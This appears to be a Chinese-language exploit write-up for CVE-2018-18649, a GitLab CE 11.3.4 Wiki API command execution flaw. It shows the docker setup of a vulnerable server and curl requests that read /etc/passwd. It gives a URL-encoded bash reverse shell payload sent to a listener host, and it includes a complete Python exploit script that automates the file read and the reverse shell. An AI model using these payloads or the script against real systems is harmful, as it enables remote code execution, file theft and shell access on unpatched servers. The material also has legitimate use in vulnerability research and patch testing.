本示例中使用 gitlab-ce:11.3.4-ce.0
(注:ce 即 Community Edition)。
使用 docker 搭建漏洞环境:
screen -S CVE-2018-18649
docker pull gitlab/gitlab-ce:11.3.4-ce.0
docker run -d --name gitlab -p 80:80 -p 443:443 -p 2222:22 gitlab/gitlab-ce:11.3.4-ce.0
然后修改配置文件:
docker exec -it gitlab /bin/bash
nano /etc/gitlab/gitlab.rb
# 去掉gitlab的注释并修改对应ip
external_url 'http://47.56.208.67/'
#重新载入配置文件
gitlab-ctl reconfigure
访问对应ip,第一次需要设置密码,并新建用户:
新建一个 Access Token,获取 private_token:
新建一个项目 test
:
所以现在的漏洞环境信息:
http://47.56.208.67
http://47.56.208.67/root/test/wikis/attachments
这个漏洞需要 private_token
和身份认证,利用门槛高。
Access Token 在生成 Private Token 的时候,必须要在 Scopes 里面勾选了 api
,否则 token 权限会不够!
查看 /etc/passwd:
root@hack:~# curl -H "private-token:pyLXE32y3Ab6va9p6mAA" 47.56.208.67/api/v4/projects/1/wikis/attachments -d "file[tempfile]=/etc/passwd&file[filename]=123" && echo
{"file_name":"123","file_path":"uploads/8ee12d5754d27f89306b51a80ccc612a/123","branch":"master","link":{"url":"uploads/8ee12d5754d27f89306b51a80ccc612a/123","markdown":"[123](uploads/8ee12d5754d27f89306b51a80ccc612a/123)"}}
root@hack:~# curl -H "private-token:pyLXE32y3Ab6va9p6mAA" 47.56.208.67/root/test/wikis/uploads/8ee12d5754d27f89306b51a80ccc612a/123 && echo
反弹 shell:
curl -H "private-token:pyLXE32y3Ab6va9p6mAA" 47.56.208.67/api/v4/projects/1/wikis/attachments -XPOST -d 'file[filename]=123&file[tempfile]=%7c+bash+-c+%22bash+-i+%3e%26+%2fdev%2ftcp%2f47.244.253.36%2f9999+0%3e%261%22' && echo
注:
%7C+bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F47.56.208.67%2F9999+0%3E%261%22
即为 URL 编码的反弹 shell 命令| bash -c "bash -i >& /dev/tcp/47.56.208.67/9999 0>&1"
,注意这里一定需要管道符号来使用 Ruby 的Kernel#open
函数产生子流程。
总结:
# 目标项目 URL
http://47.56.208.67/root/test
# 验证 Private_token
http://47.56.208.67/api/v4/projects?private_token=pyLXE32y3Ab6va9p6mAA
# /wikis/attachments restful 路径
http://47.56.208.67/root/test/wikis/attachments
# 查看 /etc/passwd 的第一个 API 请求,将在响应数据中获取 file_path 的值,用于构造查看 /etc/passwd 的第二个 API 请求
curl -H "private-token:pyLXE32y3Ab6va9p6mAA" 47.56.208.67/api/v4/projects/1/wikis/attachments -d "file[tempfile]=/etc/passwd&file[filename]=123" && echo
# 查看 /etc/passwd 的第二个 API 请求,注意是 GET 方法
curl -H "private-token:pyLXE32y3Ab6va9p6mAA" 47.56.208.67/root/test/wikis/uploads/8ee12d5754d27f89306b51a80ccc612a/123 && echo
# 反弹 shell API 请求,必须用到项目路径
curl -H "private-token:pyLXE32y3Ab6va9p6mAA" 47.56.208.67/api/v4/projects/1/wikis/attachments -XPOST -d 'file[filename]=123&file[tempfile]=%7c+bash+-c+%22bash+-i+%3e%26+%2fdev%2ftcp%2f47.244.253.36%2f9999+0%3e%261%22' && echo
# 其中的反弹 shell 命令,是经过 URL 编码的
%7C+bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F47.56.208.67%2F9999+0%3E%261%22
#明文命令是:
| bash -c "bash -i >& /dev/tcp/47.56.208.67/9999 0>&1"
exp.py:
#!/usr/bin/env python3
# -*- coding: utf-8 -*
# author:snowming
import os
import re
import json
import requests
from optparse import OptionParser
import urllib
# Parse command line args:
usage = '\npython3 exp.py -p <project_url> -t "<private_token>" -l <listener_ip> -p <listener_port>\n'\
'python3 exp.py -p <project_url> -t "<private_token>" -f "/etc/passwd" # not single \' but double \"'
parser = OptionParser(usage=usage)
parser.add_option("-u", '--URL', dest='url', action="store",
help="Target project URL")
parser.add_option("-l", '--LHOST', dest='lhost', action="store",
help="Host listening for reverse shell connection")
parser.add_option("-p", '--LPORT', dest='lport', action="store",
help="Port on which nc is listening")
parser.add_option("-f", '--file', dest='file', action="store",
help="The file you want to see, no reverse shell for you.")
parser.add_option("-t", '--token',dest='token', action="store",
help="private_token")
(options, args) = parser.parse_args()
URL = options.url
# check if specify scheme for Project URL
if('http' not in URL):
print('You should specify URL Scheme! e.g. HTTP')
exit(0)
URL = URL.rstrip('/')
substr = '/'
'''
# used for the file_path, SAMPLE OUTPUT: /root/test
PATH = URL[URL.find(substr,URL.find(substr)+3):len(URL)].rstrip('/')
'''
#get the target domain or ip, SAMPLE OUTPUT: http://47.56.208.67
TARGET = URL[0:URL.find(substr,URL.find(substr)+3)].rstrip('/')
LHOST = options.lhost
LPORT = options.lport
FILE = options.file
TOKEN = options.token
if TOKEN == None or URL == None:
print("Target project URL and Private token is required!")
exit(0)
if LHOST == None and LPORT == None and FILE ==None:
print(parser.usage)
exit(0)
if FILE:
tempfile = FILE
# make request, using POST METHOD!
url = '{0}/api/v4/projects/1/wikis/attachments'.format(TARGET)
body = {
'file[filename]': '123',
'file[tempfile]': '{0}'.format(tempfile)
}
headers = {'private-token': '{0}'.format(TOKEN)}
response = requests.post(url, data=body, headers = headers)
#response_data = json.dumps(response.json(), sort_keys=True, indent=4, separators=(',', ': '))
if("error_description" in response.json()):
print("Fail! The reason is:")
print(response.json()["error_description"])
exit(0)
file_path = response.json()["file_path"]
# As fot the second layer,e.g. response.json()["link"]["url"]
if file_path:
print("\nSend Payload Success :) \n\nPath: %s" % file_path)
# make second request using upload path data.
file_url = '{0}/wikis/{1}'.format(URL,file_path)
# WATCH OUT: It is not POST METHOD but GET METHOD!
response = requests.get(file_url, headers = headers)
print("\nContent: \n%s" % (response.text))
else:
tempfile = '| bash -c "bash -i >& /dev/tcp/{0}/{1} 0>&1"'.format(LHOST, LPORT)
'''
URL encode. SAMPLE OUTPUT: %7C%20bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/47.244.253.36/9999%200%3E%261%22
'''
tempfile = urllib.parse.quote(tempfile)
url = '{0}/api/v4/projects/1/wikis/attachments'.format(TARGET)
body = "file[filename]=123&file[tempfile]=%s" % tempfile
'''
body = {
'file[filename]': '123',
'file[tempfile]': '{0}'.format(tempfile)
}
'''
headers = {'private-token': '{0}'.format(TOKEN)}
print("\nStarting Reverse Shell :)")
requests.post(url, data=body, headers = headers)
参数说明:
-t
指定 Private Token-f
指定要查看的文件,如 /etc/passwd-l
-p
指定反弹shell ip:port-u
在指定攻击目标的项目URL!必须是项目URL!如下图:
示例用法:
查看 /etc/passwd:
python3 exp.py -u "http://47.56.208.67/root/test/" -t "pyLXE32y3Ab6va9p6mAA" -f "/etc/passwd"
反弹 shell:
python3 exp.py -u "http://47.56.208.67/root/test/" -t "pyLXE32y3Ab6va9p6mAA" -l 47.244.253.36 -p 9999
本 exp 已上传至 Github: CVE-2018-18649
- Gitlab WIKI API
- 漏洞原理:Gitlab Wiki API 远程命令执行漏洞 (CVE-2018-18649),知道创宇
- Gitlab API:
- 漏洞信息:https://nvd.nist.gov/vuln/detail/CVE-2018-18649
- 本 exp 已上传至 Github: CVE-2018-18649